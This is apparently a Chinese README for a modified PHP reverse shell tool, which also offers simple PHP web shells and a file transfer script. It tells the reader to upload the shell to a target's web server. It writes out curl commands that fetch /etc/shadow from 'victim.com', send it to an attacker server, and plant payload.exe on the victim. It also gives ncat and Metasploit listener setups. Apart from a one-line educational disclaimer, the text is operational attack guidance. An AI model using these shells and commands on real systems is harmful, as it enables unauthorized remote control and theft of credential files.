只是对广受欢迎的 PHP 反弹 Shell 脚本 pentestmonkey/php-reverse-shell 做了一点小小的更新。感谢原作者!
适用于使用 /bin/sh 的 Linux 和 macOS 操作系统,以及使用 cmd.exe 的 Windows 操作系统。脚本会自动检测底层操作系统。
同时支持 ncat 和 multi/handler。
已在以下环境测试:
Windows 操作系统上的进程管道不支持异步操作,因此 stream_set_blocking()、stream_select() 和 feof() 无法正常工作,但我找到了一个变通方法。
本工具仅供教育目的使用。希望它能有所帮助!
/src/reverse/php_reverse_shell.php 需要 PHP v5.0.0 或更高版本。
/src/reverse/php_reverse_shell_older.php 需要 PHP v4.3.0 或更高版本。
请根据需要修改脚本中的 IP 地址和端口号。
将 /src/reverse/php_reverse_shell.php 复制到服务器的 Web 根目录(例如 XAMPP 中的 /opt/lampp/htdocs/),或将其上传到目标的 Web 服务器。
使用你喜欢的 Web 浏览器访问该文件。
查看基于 HTTP POST 请求的简单 PHP Web Shell。
查看基于 HTTP GET 请求的简单 PHP Web Shell。你必须对你的命令进行 URL 编码。
查看基于 HTTP GET 请求的简单 PHP Web Shell v2。你必须对你的命令进行 URL 编码。
查看简单的 PHP 文件上传/下载脚本,该脚本基于 HTTP POST 请求上传文件,基于 HTTP GET 请求下载文件。
下载文件时,你必须对文件路径进行 URL 编码。
取决于服务器配置,通过 HTTP GET 请求参数下载文件可能并不总是有效,此时你将不得不在脚本中硬编码文件路径。
使用你喜欢的 Web 浏览器访问受害者 Web 服务器上的脚本,或在你的 PC 上使用 cURL。
从你的 PC 将文件上传到服务器的 Web 根目录:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
将文件从服务器下载到你的 PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
如果你已在反向 Shell 中提升了初始权限,该脚本可能不具备与 Shell 相同的权限。在这种情况下,若要下载某个文件,你可能需要将该文件复制到 Web 根目录并设置必要的读取权限。
在你的 PHP 反向 Shell 中,运行以下 cURL 命令。
将文件从受害者的 PC 上传到你服务器的 Web 根目录:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
将文件从你服务器的 Web 根目录下载到受害者的 PC:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
要设置监听器,请在 Kali Linux 上打开你喜欢的控制台,然后运行以下示例之一。
设置 ncat 监听器:
ncat -nvlp 9000
设置 multi/handler 监听器:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

图 1 - Ncat

图 2 - 脚本转储